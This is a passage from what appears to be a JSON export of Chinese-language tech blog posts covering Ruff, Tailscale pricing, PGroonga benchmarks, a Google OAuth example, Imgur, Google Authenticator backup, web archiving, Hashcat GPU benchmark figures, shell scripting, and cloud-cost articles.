測了一下，速度是真的快，這樣就比較不會嫌棄了... 要注意會冒出 <code>.ruff_cache/</code> 目錄，<code>.gitignore</code> 要加一下。\r\n\r\n然後用預設值先掃出 unused import 修掉，其他的有機會再看要怎麼改。",
    "title": "Ruff：用 Rust 寫的 Python Linter"
  },
  {
    "id": "11148",
    "body": "昨天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上注意到的：「<a href=\"https://news.ycombinator.com/item?id=35615848\">Changes to Tailscale Pricing and Plans (tailscale.com)</a>」，<a href=\"https://tailscale.com/\">Tailscale</a> 宣佈了新的免費與收費方式 (直接叫做 Pricing v3)：「<a href=\"https://tailscale.com/blog/pricing-v3/\">Pricing v3, plans, packages, and debugging</a>」。\r\n\r\n這次有許多改變，首先是免費版本來只能一個使用者使用，現在變成三個使用者可以在同一個 tailnet 裡面，這對於超級早期的 startup 方便不少，另外家庭用戶也可以受益。\r\n\r\n另外一個是擴大「免費」的定義，本來的「免費」只有在完全免費的方案裡面用，一個人是免費，但五個人會收五個人的費用；現在變成「既然在 Pricing v3 我說三個人以下免費，那五個人的方案裡面還是有三個免費的名額，我就只收額外的兩個人的費用」，而且只有 active user 才會收：\r\n\r\n<blockquote>That is, if you have a 5-person team at work, the first three are still free. You’d pay for only the 2 additional users (and only if they’re active, more on that below).</blockquote>\r\n\r\n然後是拔掉限制 (包括「No more limits on subnet routers」與「No more limits on admin accounts」)，以及放鬆限制 (包括「More free nodes, and twice as many nodes per user」)。\r\n\r\n所以看起來 Tailscale 現在的策略是成長，趁這波調價時做了一波 PR...",
    "title": "Tailscale 放鬆免費版的使用限制，以及商業版的計算方式"
  },
  {
    "id": "11151",
    "body": "在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 news 頁上看到「<a href=\"https://www.postgresql.org/about/news/pgroonga-300-multilingual-fast-full-text-search-2621/\">PGroonga 3.0.0 - Multilingual fast full text search</a>」，想到一直沒有測過 <a href=\"https://pgroonga.github.io/\">PGroonga</a>，就找台機器測了一下。\r\n\r\nPGroonga 是以 <a href=\"https://groonga.org/\">Groonga</a> 為引擎提供 PostgreSQL 全文搜尋能力的套件，是個能支援 <a href=\"https://en.wikipedia.org/wiki/CJK_characters\">CJK</a> 語系的全文搜尋套件。\r\n\r\n可以先看一下支援的 column type 與對應的語法：「<a href=\"https://pgroonga.github.io/reference/\">Reference manual | PGroonga</a>」，可以發現基本的 <code>text</code>、<code>text[]</code> 與 <code>varchar</code>、<code>varchar[]</code> 都有支援，比較特別的是有 <code>jsonb</code>，看起來是對裡面的 text 欄位搜尋。\r\n\r\n另外一個比較特別的是他會去配合 <code>LIKE '%something%'</code> 這樣的語法，對於無法修改的既有程式也會有幫助。\r\n\r\n缺點方面，官方有提到產生出來的 index 會比其他的套件大，但畢竟我們在的環境要支援 CJK，場上的選手已經不多了。\r\n\r\n另外一個缺點是目前 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 與 <a href=\"https://cloud.google.com/\">GCP</a> 的 <a href=\"https://cloud.google.com/sql/\">Cloud SQL</a> 看起來都沒支援，要用的話得自己架 &amp; 自己管，也許可以考慮用老方法，replication 接出來？\r\n\r\n接下來就是安裝測試了，我在 <a href=\"https://en.wikipedia.org/wiki/X86-64\">x86-64</a> 上的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 上面測試，就照著「<a href=\"https://pgroonga.github.io/install/ubuntu.html\">Install on Ubuntu | PGroonga</a>」這頁裡面的「How to install for system PostgreSQL」這段就可以了，裝系統的 PostgreSQL 14 以及 <code>postgresql-14-pgroonga</code>，之後要用 PostgreSQL 官方的新版的話可以參考「How to install for the official PostgreSQL」這段的安裝。\r\n\r\n後續再到「<a href=\"https://pgroonga.github.io/tutorial/\">Tutorial | PGroonga</a>」頁，針對要搜尋的欄位下 index (這邊裱格式 <code>memos</code>，欄位是 <code>content</code>)：\r\n\r\n<pre>CREATE INDEX ON memos USING pgroonga (content);</pre>\r\n\r\n官方的教學文件裡是用 <code>SET enable_seqscan = off;</code> 關閉 sequence scan，可以用 <code>EXPLAIN</code> 看到使用了 index：\r\n\r\n<pre>test=# SELECT * FROM memos WHERE content &amp;@ 'engine';\r\n id |                                content                                 \r\n----+------------------------------------------------------------------------\r\n  2 | Groonga is a fast full text search engine that supports all languages.\r\n(1 row)\r\n\r\ntest=# EXPLAIN SELECT * FROM memos WHERE content &amp;@ 'engine';\r\n                                   QUERY PLAN                                    \r\n---------------------------------------------------------------------------------\r\n Index Scan using memos_content_idx on memos  (cost=0.00..43.18 rows=1 width=36)\r\n   Index Cond: (content &@ 'engine'::text)\r\n(2 rows)</pre>\r\n\r\n先拔掉 index：\r\n\r\n<pre>test=# DROP INDEX pgroonga_content_index;\r\nDROP INDEX</pre>\r\n\r\n接著要塞資料，這邊拿 <a href=\"https://cqd.tw/\">CQD</a> 生的「<a href=\"https://textgen.cqd.tw/\">中文假文產生器</a>」來用，有 API 可以接比較方便。\r\n\r\n<pre>test=# SELECT COUNT(*) FROM memos;\r\n count  \r\n--------\r\n 100000\r\n(1 row)\r\n\r\nTime: 15.495 ms</pre>\r\n\r\n接著多跑幾次測試直接用 <code>LIKE '%台北%'</code> 去找，可以看到大概都在 150ms 以上：\r\n\r\n<pre>test=# SELECT COUNT(*) FROM memos WHERE content LIKE '%台北%';\r\n count \r\n-------\r\n   710\r\n(1 row)\r\n\r\nTime: 178.784 ms</pre>\r\n\r\n接著來建立 index：\r\n\r\n<pre>test=# CREATE INDEX ON memos USING pgroonga (content);\r\nCREATE INDEX\r\nTime: 17638.124 ms (00:17.638)</pre>\r\n\r\n再跑幾次同樣的 query，可以看到巨大的改善：\r\n\r\n<pre>test=# SELECT COUNT(*) FROM memos WHERE content LIKE '%台北%';\r\n count \r\n-------\r\n   710\r\n(1 row)\r\n\r\nTime: 9.876 ms</pre>",
    "title": "測了 PGroonga，PostgreSQL 上的 fulltext search engine"
  },
  {
    "id": "11152",
    "body": "早期的作法是「<a href=\"https://developers.google.com/identity/sign-in/web/sign-in\">Integrating Google Sign-In into your web app</a>」這個，但官方已經標注 deprecated 了，在官方的文件上面可以看到對應的警告說明，現在雖然會動，但之後應該會關掉：\r\n\r\n<blockquote>Warning: The support of Google Sign-In JavaScript platform library for Web is set to be deprecated after March 31, 2023. The solutions in this guide are based on this library and therefore also deprecated.</blockquote>\r\n\r\n本來一開始是走「<a href=\"https://developers.google.com/identity/protocols/oauth2/javascript-implicit-flow\">OAuth 2.0 for Client-side Web Applications</a>」這個，這份文件會教你引入 <a href=\"https://www.google.com/\">Google</a> 提供的 javascript library，也就是 <a href=\"https://apis.google.com/js/api.js\">https://apis.google.com/js/api.js</a> 這份，但其實沒必要這樣用... 先不管會多吃多少資源，比較敏感的是隱私問題 (像是透過 3rd-party cookie 追蹤)。\r\n\r\n後來研究出來比較好的方法是走「<a href=\"https://developers.google.com/identity/protocols/oauth2/web-server\">Using OAuth 2.0 for Web Server Applications</a>」這邊提到的方式，就算是 javascript 也可以建立出來，像是這樣：\r\n\r\n<pre>(() =&gt; {\r\n  const el = document.getElementById('glogin');\r\n  el.addEventListener('click', () =&gt; {\r\n    document.location = 'https://accounts.google.com/o/oauth2/v2/auth?' +\r\n      'client_id=x-x.apps.googleusercontent.com' +\r\n      '&amp;redirect_uri=https://test.example.com/google_redirect_uri.php' +\r\n      '&amp;response_type=code' +\r\n      '&amp;scope=profile+email';\r\n  });\r\n})();</pre>\r\n\r\n然後這邊的接收端 (<code>google_redirect_uri.php</code>) 是讓 Google 授權後用 redirect 的方式把對應的認證變數 <code>code</code> 帶過來，這邊是用 <a href=\"https://www.php.net/\">PHP</a> 實做，有兩個步驟：\r\n\r\n<ul>\r\n\t<li>先用 POST 打 <code>https://oauth2.googleapis.com/token</code> 取得 (換得) access token，也就是 <code>access_token</code>。</li>\r\n\t<li>再用 GET 打 <code>https://www.googleapis.com/oauth2/v3/userinfo</code> (帶上一個取得的 access token 進去) 取得使用者資料。</li>\r\n</ul>\r\n\r\n<code>scope</code> 裡如果沒有 email 的話，最後就不會拿到 email，但 SSO 應用應該會需要這個資訊，所以範例裡面還是放進去...\r\n\r\n這邊是故意儘量用 PHP 內建的 library 實做，但應該不算複雜，換用 <a href=\"https://docs.guzzlephp.org/\">Guzzle</a> 或是用其他語言應該算簡單：\r\n\r\n<pre>    $qs = http_build_query([\r\n        'code' =&gt; $_GET['code'],\r\n        'client_id' =&gt; 'x-x.apps.googleusercontent.com',\r\n        'client_secret' =&gt; 'x',\r\n        'redirect_uri' =&gt; 'https://test.example.com/google_redirect_uri.php',\r\n        'grant_type' =&gt; 'authorization_code',\r\n    ]);\r\n\r\n    $url = 'https://oauth2.googleapis.com/token';\r\n    $ch = curl_init($url);\r\n    curl_setopt($ch, CURLOPT_POST, true);\r\n    curl_setopt($ch, CURLOPT_POSTFIELDS, $qs);\r\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n    $res = curl_exec($ch);\r\n    curl_close($ch);\r\n\r\n    $data = json_decode($res);\r\n\r\n    $atoken = $data-&gt;access_token;\r\n\r\n    $url = 'https://www.googleapis.com/oauth2/v3/userinfo';\r\n    $ch = curl_init($url);\r\n    curl_setopt($ch, CURLOPT_HTTPHEADER, [\"Authorization: Bearer ${atoken}\"]);\r\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n    $res = curl_exec($ch);\r\n    curl_close($ch);</pre>\r\n\r\n最後的資料就在 <code>$res</code> 裡面，想要看可以直接用 <code>var_dump($res);</code> 看。\r\n\r\n這樣只有使用者真的要用 Google SSO 時才會有 request 進到 Google 伺服器。",
    "title": "網頁版 Google OAuth 的作法"
  },
  {
    "id": "11155",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://imgur.com/\">Imgur</a> 的使用者條款改變的消息：「<a href=\"https://techcrunch.com/2023/04/20/imgur-will-ban-explicit-images-on-its-platform-this-month/\">Imgur will ban explicit images on its platform this month</a>」，在 <a href=\"https://techcrunch.com/\">TechCrunch</a> 文章標題提到的東西對 blog 影響不大，反倒是公告裡面另外提到的事情比較傷。\r\n\r\nImgur 在「<a href=\"https://help.imgur.com/hc/en-us/articles/14415587638029\">Imgur Terms of Service Update [April 19, 2023]</a>」這邊提到了：\r\n\r\n<blockquote>Our new Terms of Service will go into effect on May 15, 2023. We will be focused on removing old, unused, and inactive content that is not tied to a user account from our platform as well as nudity, pornography, &amp; sexually explicit content.</blockquote>\r\n\r\n所以很少被存取的內容也會有機會被移除掉，這導致一堆小的 blog 或是 forum 用到的內容也會爛掉。\r\n\r\n所以決定先搬出來，掃了一下 <a href=\"https://wordpress.org/\">WordPress</a> 資料庫裡面的內容，把檔案先拉下來，弄個 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 擋在前面 (有 free quota 的關係)，然後把資料庫裡面的連結整批換掉。\r\n\r\n另外是新的內容要丟哪裡，所以用 <a href=\"https://www.php.net/\">PHP</a> 寫了一個很簡單的 self-hosted image server，程式碼在 <a href=\"https://github.com/\">GitHub</a> 上面可以翻到：「<a href=\"https://github.com/gslin/i.gslin.com\">i.gslin.com</a>」。\r\n\r\n裡面除了 PHP 以外，也練了一下 javascript，收 <code>paste</code> 事件把 <code>image/png</code> 的資料用 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch\">fetch()</a> 傳到 server 端處理。\r\n\r\n現在功能還很陽春，但至少能開始用，之後再逐步加功能上去。等功能變多變複雜之後，可能會用 <a href=\"https://getcomposer.org/\">Composor</a> 掛套件上去... 但現在還算簡單，一個 <code>upload.php</code> 處理所有事情就好。",
    "title": "Imgur 改變使用條款，把 Imgur 的圖片都搬回本機上"
  },
  {
    "id": "11157",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣布 Google Authenticator (<a href=\"https://apps.apple.com/en-US/app/google-authenticator/id388497605\">iOS 版</a>、<a href=\"https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2\">Android 版</a>) 可以備份到 Google Account 上：「<a href=\"https://security.googleblog.com/2023/04/google-authenticator-now-supports.html\">Google Authenticator now supports Google Account synchronization</a>」。\r\n\r\n<blockquote>We are excited to announce an update to Google Authenticator, across both iOS and Android, which adds the ability to safely backup your one-time codes (also known as one-time passwords or OTPs) to your Google Account.</blockquote>\r\n\r\n裡面沒提到傳到雲端上面的時候是不是有加密，翻了一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面好像也沒看到：「<a href=\"https://news.ycombinator.com/item?id=35690398\">Google Authenticator now supports Google Account synchronization (googleblog.com)</a>」。\r\n\r\n這個算是等很久的功能，我自己避免裝置掛了 (或是遺失) 就把自己被鎖再外面的措施，一個是透過 <a href=\"https://www.yubico.com/\">YubiKey</a> 以外 (如果服務有支援的話)，另外就是在設定時就同時裝到多個裝置上，而且要避免都放在 Google Authenticator 上。\r\n\r\n目前應該還是不會用這個，但對於大多數人來說算是方便... 吧？",
    "title": "Google Authenticator 支援備份到 Google Account 的功能"
  },
  {
    "id": "11158",
    "body": "中華的 <a href=\"https://zh.wikipedia.org/wiki/Xuite\">Xuite</a> 前陣子宣佈了服務中止的公告：「<a href=\"https://web.archive.org/web/20230425234803/https://xuite.net/\">Xuite隨意窩平台服務終止公告</a>」(這邊就先拉 <a href=\"https://en.wikipedia.org/wiki/Internet_Archive\">Internet Archive</a> 的連結了，看起來之後會消失...)。\r\n\r\nBlog 的部份，除了作者本身可以拉資料下來放到其他平台以外，外人也可以把這些歷史遺跡保留下來，像是丟到 Internet Archive 的 <a href=\"https://en.wikipedia.org/wiki/Wayback_Machine\">Wayback Machine</a> 上面。\r\n\r\n所以用 <a href=\"https://en.wikipedia.org/wiki/Perl\">Perl</a> 寫了一隻 script，把 url 掃出來後，後續就可以用其他工具 submit 到 Wayback Machine 上面：「<a href=\"https://github.com/gslin/xuite-urldump\">xuite-urldump</a>」。\r\n\r\n當年有不少 ACG 相關的 blog 在上面，先來備份起來...",
    "title": "備份 Xuite Blog 的公開文章"
  },
  {
    "id": "11159",
    "body": "<a href=\"https://wiki.archiveteam.org/\">Archive Team</a> 是一個致力於保存數位資料的組織，而 <a href=\"https://wiki.archiveteam.org/index.php/ArchiveTeam_Warrior\">ArchiveTeam Warrior</a> 則是他們提供的軟體，可以讓你很方便直接跑 worker 加入他們的 cluster，幫忙抓資料並且保存到 <a href=\"https://archive.org/\">Internet Archive</a> 上。\r\n\r\n他們提供三種方法跑 ArchiveTeam Warrior，第一種是 VM 的方式，文件裡面有介紹怎麼用 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 或是 <a href=\"https://www.vmware.com/products/workstation-player.html\">VMware Player</a> 跑起來。\r\n\r\n第二種與第三種都是 container 類的方式，<a href=\"https://www.docker.com/\">Docker</a> 與 <a href=\"https://podman.io/\">Podman</a> 都能跑起來。\r\n\r\n跑起來後可以連進 <a href=\"http://127.0.0.1:8001/\">http://127.0.0.1:8001/</a>，然後選擇想要加入的項目，或是接受指令選擇目前團隊主打的項目。\r\n\r\n在「<a href=\"https://wiki.archiveteam.org/index.php/Projects\">Projects</a>」這頁可以看到目前主力是備份 <a href=\"https://www.enjin.com/\">Enjin</a> 上的資料。\r\n\r\n丟了兩台 VPS 的機器上去用 Docker 跑，CPU 使用率看起來很低，但網路流量看起來會因為所在的地點而差蠻多的，一台大約是 300KB/sec 到 400KB/sec，換算後大約是 1TB/mo，另外一台則只有 1/10 的量。",
    "title": "跑 ArchiveTeam Warrior"
  },
  {
    "id": "11163",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到討論美國很多人買黑膠卻沒有黑膠唱盤：「<a href=\"https://news.ycombinator.com/item?id=35749763\">Half of vinyl buyers in the U.S. don’t have a record player: study (consequence.net)</a>」，原文在「<a href=\"https://consequence.net/2023/04/half-vinyl-buyers-record-player-study/\">Half of Vinyl Buyers in the US Don’t Have a Record Player, New Study Shows</a>」這。\r\n\r\n其實現代還蠻多人買黑膠不是要聽的，有很多其他用途啊，像是可以當作大型簽名板 XD\r\n\r\n<a href=\"https://www.flickr.com/photos/gslin/52856101298\"><img src=\"https://live.staticflickr.com/65535/52856101298_35ae0f4872_o.jpg\" alt=\"\" /></a>\r\n\r\n我都跟朋友說買黑膠是買一張小海報，又好保存...",
    "title": "美國有一半買黑膠的人沒有黑膠唱盤"
  },
  {
    "id": "11164",
    "body": "<a href=\"https://brave.com/\">Brave</a> 宣佈 <a href=\"https://search.brave.com/\">Brave Search</a> 獨立，不再使用 <a href=\"https://www.bing.com/\">Bing</a> 的資料了：「<a href=\"https://brave.com/search-independence/\">Brave Search removes last remnant of Bing from search results page, achieving 100% independence and providing real alternative to Big Tech search</a>」。\r\n\r\n依照 Brave 的說明，先前大約 7% 是來自 Bing 的 API：\r\n\r\n<blockquote>Every Web search result seen in Brave Search is now served by our own index. We’ve removed all search API calls to Bing, which previously represented about 7% of query results.</blockquote>\r\n\r\n但只要商業模式還是廣告，我應該不會去用... 但比起目前市場上一堆包其他家 search engine 的搜尋引擎來說，這的確是個好消息。",
    "title": "Brave 宣佈 Brave Search 完全使用自己的資料，不用 Bing 的了"
  },
  {
    "id": "11166",
    "body": "前幾天提到了 <a href=\"https://en.wikipedia.org/wiki/Google_Authenticator\">Google Authenticator</a> 總算是支援備份功能了：「<a href=\"https://blog.gslin.org/archives/2023/04/25/11157/google-authenticator-%e6%94%af%e6%8f%b4%e5%82%99%e4%bb%bd%e5%88%b0-google-account-%e7%9a%84%e5%8a%9f%e8%83%bd/\">Google Authenticator 支援備份到 Google Account 的功能</a>」，當初操作的時候沒看到自訂密碼之類的功能，就有在猜應該不是 <a href=\"https://en.wikipedia.org/wiki/End-to-end_encryption\">E2EE</a>，直接攔傳輸內容也被證實沒有 E2EE 了，<a href=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">TOTP</a> 的 secret token 都是直接傳輸的：「<a href=\"https://www.macrumors.com/2023/04/27/google-authenticator-cloud-sync-no-e2e/\">PSA: Google Authenticator's Cloud-Synced 2FA Codes Aren't End-to-End Encrypted</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Google has just updated its 2FA Authenticator app and added a much-needed feature: the ability to sync secrets across devices.<br><br>TL;DR: Don&#39;t turn it on.<br><br>The new update allows users to sign in with their Google Account and sync 2FA secrets across their iOS and Android devices.… <a href=\"https://t.co/a8hhelupZR\">pic.twitter.com/a8hhelupZR</a></p>&mdash; Mysk ???? (@mysk_co) <a href=\"https://twitter.com/mysk_co/status/1651021165727477763?ref_src=twsrc%5Etfw\">April 26, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 的發言人回應 <a href=\"https://www.cnet.com/\">CNET</a> 的詢問時只說會有計畫做，但沒有給更細的資料：\r\n\r\n<blockquote>To ensure that we're offering a full set of options for users, we have also begun rolling out optional E2EE in some of our products, and we plan to offer E2EE for Google Authenticator in the future.</blockquote>\r\n\r\n在意的人就還是先不要開...",
    "title": "Google Authenticator 的備份功能不是 E2EE (end-to-end encryption)"
  },
  {
    "id": "11167",
    "body": "想到的時候查了一下，發現進步頗大的...\r\n\r\n可以參考「<a href=\"https://gist.github.com/Chick3nman/e4fcee00cb6d82874dace72106d73fef\">Hashcat v6.1.1 benchmark on the Nvidia RTX 3090</a>」與「<a href=\"https://gist.github.com/Chick3nman/32e662a5bb63bc4f51b847bb422222fd\">Hashcat v6.2.6 benchmark on the Nvidia RTX 4090</a>」這兩份資料。\r\n\r\n已經被打到爛的 <code>$1$</code> 或是 <code>$apr1$</code> 就不看了，主要還是看比較有抵抗性的 <a href=\"https://en.wikipedia.org/wiki/Key_derivation_function\">KDF</a> 的速度。\r\n\r\n撞老牌的 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a>，在 4090 的速度快要是 3090 的兩倍了：\r\n\r\n<pre>Hashmode: 3200 - bcrypt $2*$, Blowfish (Unix) (Iterations: 32)\r\nSpeed.#1.........:    96662 H/s (36.29ms) @ Accel:8 Loops:16 Thr:11 Vec:1</pre>\r\n\r\n<pre>* Hash-Mode 3200 (bcrypt $2*$, Blowfish (Unix)) [Iterations: 32]\r\nSpeed.#1.........:   184.0 kH/s (50.22ms) @ Accel:4 Loops:32 Thr:24 Vec:1</pre>\r\n\r\n但是在看 <a href=\"https://en.wikipedia.org/wiki/Scrypt\">scrypt</a> 的時候不知道為什麼 3090 跑的 iterations 是 1，這兩個不對等：\r\n\r\n<pre>Hashmode: 8900 - scrypt (Iterations: 1)\r\nSpeed.#1.........:  2308.2 kH/s (8.64ms) @ Accel:16 Loops:1 Thr:16 Vec:1</pre>\r\n\r\n<pre>* Hash-Mode 8900 (scrypt) [Iterations: 16384]\r\nSpeed.#1.........:     7126 H/s (29.16ms) @ Accel:128 Loops:1024 Thr:32 Vec:1</pre>\r\n\r\n改看 9300 這組的話，iterations 還是 1：\r\n\r\n<pre>Hashmode: 9300 - Cisco-IOS $9$ (scrypt) (Iterations: 1)\r\nSpeed.#1.........:    85331 H/s (122.39ms) @ Accel:16 Loops:1 Thr:8 Vec:1</pre>\r\n\r\n<pre>* Hash-Mode 9300 (Cisco-IOS $9$ (scrypt)) [Iterations: 16384]\r\nSpeed.#1.........:    83890 H/s (1.76ms) @ Accel:128 Loops:1024 Thr:32 Vec:1</pre>\r\n\r\n再來是看 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a> 類的，這邊先抓 9200 這組，可以看到 4090 的速度是 3090 的兩倍多：\r\n\r\n<pre>Hashmode: 9200 - Cisco-IOS $8$ (PBKDF2-SHA256) (Iterations: 19999)\r\nSpeed.#1.........:   187.2 kH/s (91.61ms) @ Accel:16 Loops:256 Thr:1024 Vec:1</pre>\r\n\r\n<pre>* Hash-Mode 9200 (Cisco-IOS $8$ (PBKDF2-SHA256)) [Iterations: 19999]\r\nSpeed.#1.........:   430.1 kH/s (60.71ms) @ Accel:16 Loops:512 Thr:512 Vec:1</pre>\r\n\r\n另外 10900 這組也是兩倍多：\r\n\r\n<pre>Hashmode: 10900 - PBKDF2-HMAC-SHA256 (Iterations: 999)\r\nSpeed.#1.........:  3785.4 kH/s (87.58ms) @ Accel:4 Loops:999 Thr:1024 Vec:1</pre>\r\n\r\n<pre>* Hash-Mode 10900 (PBKDF2-HMAC-SHA256) [Iterations: 999]\r\nSpeed.#1.........:  8865.7 kH/s (50.50ms) @ Accel:64 Loops:124 Thr:512 Vec:1</pre>\r\n\r\n考慮到單位價錢的效能，與單位功率的效能，4090 都是大幅領先的情況 (台積電幫了不少？)。",
    "title": "Hashcat 在 3090 與 4090 上的速度差異"
  },
  {
    "id": "11168",
    "body": "看到「<a href=\"https://github.com/dylanaraps/pure-sh-bible\">pure sh bible</a>」這篇，講純 <a href=\"https://en.wikipedia.org/wiki/POSIX\">POSIX</a> 的 sh 可以怎麼實作各種功能，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論在「<a href=\"https://news.ycombinator.com/item?id=35765707\">Pure Sh Bible (github.com/dylanaraps)</a>」這邊。\r\n\r\n一般我在寫 cross platform 的 <a href=\"https://en.wikipedia.org/wiki/Shell_script\">shell script</a> 時候會假設是 POSIX environment，而不是只有 POSIX sh 硬扛，所以還是有 <a href=\"https://en.wikipedia.org/wiki/AWK\">awk</a>、<a href=\"https://en.wikipedia.org/wiki/Grep\">grep</a> 與 <a href=\"https://en.wikipedia.org/wiki/Sed\">sed</a> 這類工具可以用... 而這篇裡面提到的方法有些很明顯是硬扛過去的 XD\r\n\r\n不過裡面還是有些章節是應該要熟悉的，像是對 string 的處理算是蠻好用的，不需要拿 sed 出來用。\r\n\r\n另外可以用 <a href=\"https://en.wikipedia.org/wiki/Bash_(Unix_shell)\">bash</a> 的話，有很多東西會好寫很多，但開頭的 <code>#!/bin/bash</code> 在 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上會因為 bash 會裝到 <code>/usr/local/bin/bash</code>，就不是很好搞... 一個解法是用 <code>/usr/bin/env bash</code> 靠 <code>PATH</code> 找，但也不是完全保險的方法 (<code>PATH</code> 有時候會清空...)。",
    "title": "純 POSIX sh 實作各種功能"
  },
  {
    "id": "11169",
    "body": "因為 <a href=\"https://en.wikipedia.org/wiki/37signals\">37signals</a> 陸陸續續把所有的服務從雲端搬回地端，<a href=\"https://en.wikipedia.org/wiki/David_Heinemeier_Hansson\">DHH</a> 從去年開始寫了一系列相關的文章，開頭應該是這篇：「<a href=\"https://world.hey.com/dhh/why-we-re-leaving-the-cloud-654b47e0\">Why we're leaving the cloud</a>」。\r\n\r\n最近的「<a href=\"https://world.hey.com/dhh/cloud-exit-pays-off-in-performance-too-4c53b697\">Cloud exit pays off in performance too</a>」這篇看到個有趣的東西，提到現在的硬體可以很大台，大到可以直接吃整個 Basecamp 服務：\r\n\r\n<blockquote>In fact, given that each of our new Dell R7625s have 196 vCPUs, we could actually run the entire Basecamp Classic application, including databases and Redis, on a single such machine! That's just astounding.</blockquote>\r\n\r\n其實這也提到了另外一個問題，就是他們的東西一直沒做大，然後也沒有遇到超大的 peak XD\r\n\r\n雲端比地端貴是大家都知道的前提 (把網路設備以及 storage 也考慮進來，整體硬體攤提成本來說大概是 1/3～1/4，而頻寬成本會差更多)，但即使團隊會管機房，還是會採用雲端的原因 (優點)：\r\n\r\n<ul>\r\n\t<li>節省了採購的人力成本。</li>\r\n\t<li>讓老闆對於「短時間需要大量的資源」心安。</li>\r\n</ul>\r\n\r\n前者是大家都比較清楚的，在地端如果臨時要一批資料庫等級的機器，通常機房不會有這種等級的機器，需要跟廠商借機器來用，而且裝機再怎麼快也是半天的時機，而雲端上面直接 console 點一點就解決了。\r\n\r\n後者是突然爆紅的狀態，幾乎不會發生 (i.e. 做夢)，但是會是跟老闆推銷雲端的重要說詞之一；而且就算發生了，常常還是會遇到程式寫的不夠好，無法 scale out 解決問題，甚至是無法 scale up 解決問題。\r\n\r\n所以 37signals 把服務都搬回地端是個正確的決定沒錯，但他提到單機就可以解決所有問題，代表量沒大到需要把 sharding 拿出來，其實有點悲傷... XD",
    "title": "DHH 一系列從雲端搬回地端的文章"
  },
  {
    "id": "11170",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 放出 2023 Q1 的硬碟生存資料：「<a href=\"https://www.backblaze.com/blog/backblaze-drive-stats-for-q1-2023/\">Backblaze Drive Stats for Q1 2023</a>」。\r\n\r\n這次意外看到 <a href=\"https://www.westerndigital.com/\">WDC</a> 的表現超級好：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1683233922-72ba5b1e.webp\" /><img src=\"https://i.gslin.com/s/1683233922-72ba5b1e.png\" alt=\"\" /></picture>\r\n\r\n看了一下型號，<code>WUH</code> 開頭的，看起來是之前 <a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 的 model，而不是 WDC 自家的型號... (備註一下，WDC 在 2012 年就買下 HGST 了，但到了 2018 廢掉了 HGST 的 branding)\r\n\r\n所以整體看起來 HGST 的硬碟還是首選...",
    "title": "Backblaze 2023 Q1 的硬碟資料"
  },
  {
    "id": "11171",
    "body": "昨天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上熱烈討論的文章，是一篇三月就放出來，但昨天被丟上來意外的熱烈討論，在講 <a href=\"https://www.primevideo.com/\">Amazon Prime Video</a> 的團隊改寫程式，把 <a href=\"https://aws.amazon.com/step-functions/\">AWS Step Functions</a> 拔掉，並且回頭用 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 與 <a href=\"https://aws.amazon.com/ecs/\">ECS</a> 而省下大量 <a href=\"https://aws.amazon.com/\">AWS</a> 費用的文章討論：「<a href=\"https://news.ycombinator.com/item?id=35811741\">Scaling up the Prime Video audio/video monitoring service and reducing costs (primevideotech.com)</a>」，原文在「<a href=\"https://www.primevideotech.com/video-streaming/scaling-up-the-prime-video-audio-video-monitoring-service-and-reducing-costs-by-90\">Scaling up the Prime Video audio/video monitoring service and reducing costs by 90%</a>」，<a href=\"https://web.archive.org/web/20230504060528/https://www.primevideotech.com/video-streaming/scaling-up-the-prime-video-audio-video-monitoring-service-and-reducing-costs-by-90\">Internet Archive 的備份</a>、<a href=\"https://archive.is/h788m\">Archive Today 的備份</a>。\r\n\r\n先看文章的部分，裡面提到了他們用 AWS Step Functions，但意外的貴：\r\n\r\n<blockquote>The initial version of our service consisted of distributed components that were orchestrated by AWS Step Functions. The two most expensive operations in terms of cost were the orchestration workflow and when data passed between distributed components.</blockquote>\r\n\r\n然後改寫程式把所有東西都放在單一 process 裡面跑就好，用標準的 EC2 或是 ECS 就可以 scale 很好，而且也省錢：\r\n\r\n<blockquote>To address this, we moved all components into a single process to keep the data transfer within the process memory, which also simplified the orchestration logic. Because we compiled all the operations into a single process, we could rely on scalable Amazon Elastic Compute Cloud (Amazon EC2) and Amazon Elastic Container Service (Amazon ECS) instances for the deployment.</blockquote>\r\n\r\n可以看出起因是一開始設計時的 overdesign，把可以簡單處理的東西拆開，另外加上雲端在這塊收費特別貴而導致成本爆增... 這件事情偶而會發生，尤其是比較新的東西會沒注意到成本，通常在上線發現不太對的時候就會安排 refactor 掉。\r\n\r\n但如果是 <a href=\"https://www.amazon.com/\">Amazon</a> 自家集團的其他團隊出來抱怨，就有很棒的 PR 效果了，所以 Hacker News 上就看到有人在猜可能過不久後文章就會不見 XD (但文章紅了以後應該就不會不見 XD)：\r\n\r\n<blockquote>My word. I'm sort of gob smacked this article exists.\r\n\r\nI know there are nuances in the article, but my first impression was it's saying 